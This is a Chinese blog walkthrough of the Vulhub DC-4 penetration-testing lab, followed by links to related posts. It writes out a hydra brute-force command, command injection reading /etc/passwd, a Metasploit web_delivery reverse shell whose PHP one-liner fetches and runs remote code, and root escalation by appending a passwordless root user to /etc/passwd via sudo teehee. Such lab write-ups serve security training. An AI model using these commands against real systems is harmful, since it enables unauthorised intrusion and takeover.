Vulhub-DC-4靶场
Vulhub-DC-4靶场
前言
这套靶场的亮点在于对hydra的运用比较多,在遇到大容量字典的时候,BurpSuite可能会因为设置的运行内存的限制,导致字典需要花很长时间导入进去,虽然通过修改配置文件可以解决这点,但是总没有Hydra爆破工具来的更加友好。
通过本篇博客着重学习以下三点:
1.Hydra爆破
2.MSF PHP木马加载
3./etc/passwd写入root用户
正文
信息搜集
传统艺能: arp-scan -l,发现存活IP:

使用Nmap进行端口探测,发现存活80端口和22端口

账户爆破
进入Web页面后发现如下界面

这边呢看到登录表单,又是admin,尝试使用Burp,账户名是admin进行爆破,但是因为字典太大的缘故。字典一直导入不进去,所以尝试使用Xhydra进行爆破。这边因为是post表单所以选择http-post-form,字典选用kali自带的rockyou字典
相关hydra使用博客教程如下:https://blog.csdn.net/qq_42342141/article/details/106390594
命令如下:
hydra -l admin -P rock.txt 192.168.40.130 "/login.php:username=^USER^&&password=^PASS^:S=lougout" -F
爆破出账户为admin,密码为happy
后台Getshell
这边有三个命令选型,进行抓包,查看数据包:

看一看存在命令执行漏洞,尝试读取敏感文件/etc/passwd,可以看到存在两个用户,分别为Jim和Sam

这边因为目标靶机是Linux,并且肯定跑着PHP,所以想着使用生成木马getshell,打开msfconsole,使用以下模块
msf6>use exploit/multi/script/web_delivery
msf6>set lhost 192.168.40.128
msf6>set lport 4444
msf6>set payload php/meterpreter/reverse_tcp
生成如下命令,讲radio栏中的命令进行替换,成功获得会话
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.40.128:8081/VCrYQNz9f9yp', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

进入会话使用python获得伪终端:
进入后在家目录下发现三个用户,并且在jim用户下找到旧密码的备份文件,保存到本地,使用hydra进行ssh爆破

使用ssh成功登录,过了一会儿收到一封邮件,提示/var/mail下的jim文件,最后得到charles的密码,进行用户切换。
权限提升
使用sudo -l 看到teehee可以免密码执行root权限。并且teehee可以讲字段附加到文本末。
这里需要先了解下/etc/passwd里不同字段的含义。
注册名:口令:用户标识号:组标识号:用户名:用户主目录:命令解释程序
所以我们尝试写入具有root权限的用户到/etc/passwd来进行提权
echo "ha::0:0::/home/jim:/bin/bash" |sudo teehee -a "/etc/passwd"
期间多次su无法进入Root,最终重启虚拟机成功root.
最终拿到Flag

Vulhub-DC-4靶场的更多相关文章
- Vulhub-DC-2靶场
Vulhub-DC-2靶场 前言 最近一直忙于学习代码审计和内网渗透,所以靶场这方面的文章一直未更新,但是计划是更新完DC系列靶场的,这个不会鸽. DC-2的靶场是很简单的一共5个flag. 正文 f ...
- Kali-2020 配置Docker
Kali 2020 安装Docke 为什么在Kali上安装Docker? Kali有很多工具,但是您想运行一个不包含的工具,最干净的方法是通过Docker容器.例如,我正在研究一个名为vulhub的靶 ...
- 推荐开源靶场Vulhub
转:https://github.com/phith0n/vulhub Vulhub - Some Docker-Compose files for vulnerabilities environme ...
- 2019-10-24:伪静态,VULHUB搭建靶场,宽字节sql注入,笔记
伪静态1,需要开启站点的重写机制,需要修改配httpd配置文件,将LoadModule rewrite_module modules/mod_rewrite.so注释取消,需要apache支持解析.h ...
- kali中安装漏洞靶场Vulhub(超详细)
前言 我们都知道,在学习网络安全的过程中,搭建漏洞靶场有着至关重要的作用.复现各种漏洞,能更好的理解漏洞产生的原因,提高自己的学习能力.下面我在kali中演示如何详细安装漏洞靶场Vulhub. 什么是 ...
- kali中安装漏洞靶场Vulhub
一.什么是vulhub? Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加 ...
- 阿里云服务器搭建vulhub靶场
阿里云服务器搭建vulhub靶场 环境 服务器:阿里云服务器 系统:centos7 应用:vulhub 步骤 vulhub需要依赖docker搭建,首先安装docker. 使用以下方法之一: # cu ...
- Vulhub靶场搭建教程
Vulhub靶机环境搭建 Vulhub地址: Vulhub下载地址 一.所需环境 1.Ubuntu16.04 2.最新版本Docker 二.安装之路 1.下载Ubuntu16.04下载地址(迅雷下载6 ...
- Jenkins高危代码执行漏洞检测/开源漏洞靶场
漏洞细节可以参看安全客的文章:https://bbs.ichunqiu.com/thread-22507-1-1.html Jenkins-CLI 反序列化代码执行(CVE-2017-1000353) ...
- 【转】Vulhub - 开源的安全漏洞学习与复现项目
转载于:https://uk.v2ex.com/t/485611#reply15 Vulhub 是一个面向大众的开源漏洞靶场,无需 docker 知识,简单执行两条命令即可编译.运行一个完整的漏洞靶场 ...
随机推荐
- 在Linux/Unix系统下用iconv命令处理文本文件中文乱码问题
iconv命令是运行于linux/unix平台的文件编码装换工具.当我们在linux/unix系统shell查看文本文件时,常常会发现文件的中文是乱码的,这是由于文本文件的编码与当前操作系统设置的编码 ...
- springBoot-Quartz快速入门
springBoot-Quartz快速入门 开发环境 JDK1.8.Maven.Idea 技术栈 SpringBoot 2.1.6.quartz 2.3.0等 数据库准备 说明:数据库脚本由Quart ...
- VMware-克隆虚拟机(CentOS7)
采用克隆完整克隆 修改系统参数,除了IP和主机名以外. 第一步 修改mac地址 在虚拟机还未启动之前,先修改该系统的mac地址,如下操作所示. 生成新的mac地址 修改主机名(reboot后生效) $ ...
- php mkdir 创建多级目录以及修改权限
mkdir() 用法:mkdir($path,0777,true); 第一个参数:必须,代表要创建的多级目录的路径:第二个参数:设定目录的权限,默认是 0777,意味着最大可能的访问权:注意:mode ...
- tf-gpu报错:ImportError: libcublas.so.10.0: cannot open shared object file: No such file or directory
错误1:ImportError: libcublas.so.10.0: cannot open shared object file: No such file or directory 一般这种问题 ...
- Codeforces Round #732 (Div. 2)【ABCD】
比赛链接:https://codeforces.com/contest/1546 A. AquaMoon and Two Arrays 题意 给出两个大小为 \(n\) 的数组 \(a, b\) ,每 ...
- 关于vector.size()的一些常见错误总结
1. 问题引入 通过查看[https://www.cplusplus.com/reference/vector/vector/] 的vector.size()说明,即 member type defi ...
- WPF使用Microsoft.VisualBasic创建单例模式引起的权限降低问题
在进行WPF开发时,总是在找更加优雅去写单例模式的代码. 很多人都喜欢用Mutex,一个App.cs下很多的Mutex,我也喜欢用. 看完<WPF编程宝典>的第七章Applicaton类后 ...
- mysql中函数cast使用
CAST函数语法规则是:Cast(字段名 as 转换的类型 ),其中类型可以为: CHAR[(N)] 字符型DATE 日期型DATETIME 日期和时间型DECIMAL float型SIGNED in ...
- 将已经基本完成的项目推送到gitee上管理
1,首先在gitee上创建仓库,保留一个.gitigonore就行,这样就得到一个远程仓库地址 2,仓库有文件,那么就需要先将这个文件pull下来: 在本地的项目目录中执行:git init git ...